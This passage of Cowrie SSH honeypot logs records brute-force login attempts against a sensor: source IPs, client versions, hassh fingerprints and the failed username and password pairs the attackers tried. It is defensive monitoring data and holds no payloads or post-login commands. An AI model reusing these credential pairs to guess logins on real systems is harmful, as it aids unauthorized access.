.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:33:47.192230Z","src_ip":"121.168.139.251","session":"66c253dee89b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Work@2025","message":"login attempt [root/Work@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:33:48.017129Z","src_ip":"121.168.139.251","session":"66c253dee89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:33:49.219237Z","src_ip":"121.168.139.251","session":"66c253dee89b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":39498,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1e04aa714b7","protocol":"ssh","message":"New connection: 78.44.192.210:39498 (10.17.0.5:22) [session: a1e04aa714b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:34:44.093544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:34:44.098927Z","src_ip":"78.44.192.210","session":"a1e04aa714b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:34:44.209332Z","src_ip":"78.44.192.210","session":"a1e04aa714b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9ol.0p;/","message":"login attempt [root/9ol.0p;/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:34:44.677623Z","src_ip":"78.44.192.210","session":"a1e04aa714b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:34:45.791248Z","src_ip":"78.44.192.210","session":"a1e04aa714b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":35996,"dst_ip":"10.17.0.5","dst_port":22,"session":"f465444892d6","protocol":"ssh","message":"New connection: 79.143.189.125:35996 (10.17.0.5:22) [session: f465444892d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:35:00.348088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:35:00.352390Z","src_ip":"79.143.189.125","session":"f465444892d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:35:00.452055Z","src_ip":"79.143.189.125","session":"f465444892d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:35:00.853549Z","src_ip":"79.143.189.125","session":"f465444892d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:35:01.988128Z","src_ip":"79.143.189.125","session":"f465444892d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":55158,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2ad812a4f8b","protocol":"ssh","message":"New connection: 121.168.139.251:55158 (10.17.0.5:22) [session: e2ad812a4f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:35:32.695015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:35:32.699610Z","src_ip":"121.168.139.251","session":"e2ad812a4f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:35:32.902518Z","src_ip":"121.168.139.251","session":"e2ad812a4f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:35:33.743961Z","src_ip":"121.168.139.251","session":"e2ad812a4f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:35:34.951964Z","src_ip":"121.168.139.251","session":"e2ad812a4f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":34442,"dst_ip":"10.17.0.5","dst_port":22,"session":"e46d6bbfcdc6","protocol":"ssh","message":"New connection: 78.44.192.210:34442 (10.17.0.5:22) [session: e46d6bbfcdc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:36:49.802718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:36:49.808431Z","src_ip":"78.44.192.210","session":"e46d6bbfcdc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:36:49.923047Z","src_ip":"78.44.192.210","session":"e46d6bbfcdc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmp","password":"123","message":"login attempt [tmp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:36:50.398378Z","src_ip":"78.44.192.210","session":"e46d6bbfcdc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:36:51.512911Z","src_ip":"78.44.192.210","session":"e46d6bbfcdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":47556,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc59d27994a3","protocol":"ssh","message":"New connection: 79.143.189.125:47556 (10.17.0.5:22) [session: fc59d27994a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:36:55.688996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:36:55.694283Z","src_ip":"79.143.189.125","session":"fc59d27994a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:36:55.787085Z","src_ip":"79.143.189.125","session":"fc59d27994a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9ol.0p;/","message":"login attempt [root/9ol.0p;/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:36:56.248978Z","src_ip":"79.143.189.125","session":"fc59d27994a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:36:57.350851Z","src_ip":"79.143.189.125","session":"fc59d27994a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":60066,"dst_ip":"10.17.0.5","dst_port":22,"session":"23cb95217f42","protocol":"ssh","message":"New connection: 121.168.139.251:60066 (10.17.0.5:22) [session: 23cb95217f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:12.760571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:12.765366Z","src_ip":"121.168.139.251","session":"23cb95217f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:12.965379Z","src_ip":"121.168.139.251","session":"23cb95217f42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andy","password":"andy","message":"login attempt [andy/andy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:13.794481Z","src_ip":"121.168.139.251","session":"23cb95217f42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:14.997684Z","src_ip":"121.168.139.251","session":"23cb95217f42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":41344,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4c13376fa31","protocol":"ssh","message":"New connection: 45.233.218.160:41344 (10.17.0.5:22) [session: b4c13376fa31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:17.416357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:17.421082Z","src_ip":"45.233.218.160","session":"b4c13376fa31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:17.559640Z","src_ip":"45.233.218.160","session":"b4c13376fa31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mike","password":"password","message":"login attempt [mike/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:18.143522Z","src_ip":"45.233.218.160","session":"b4c13376fa31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:19.285145Z","src_ip":"45.233.218.160","session":"b4c13376fa31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":39488,"dst_ip":"159.203.135.109","dst_port":22,"session":"b535757cbfd3","protocol":"ssh","message":"New connection: 193.37.70.224:39488 (159.203.135.109:22) [session: b535757cbfd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:42.114607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:42.119418Z","src_ip":"193.37.70.224","session":"b535757cbfd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:42.208110Z","src_ip":"193.37.70.224","session":"b535757cbfd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty098","message":"login attempt [root/qwerty098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:42.474028Z","src_ip":"193.37.70.224","session":"b535757cbfd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:37:43.565210Z","src_ip":"193.37.70.224","session":"b535757cbfd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":27277,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c31f93d17ca","protocol":"ssh","message":"New connection: 2.57.121.112:27277 (10.17.0.5:22) [session: 3c31f93d17ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:03.267651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:03.273476Z","src_ip":"2.57.121.112","session":"3c31f93d17ca","protocol":"ssh"}
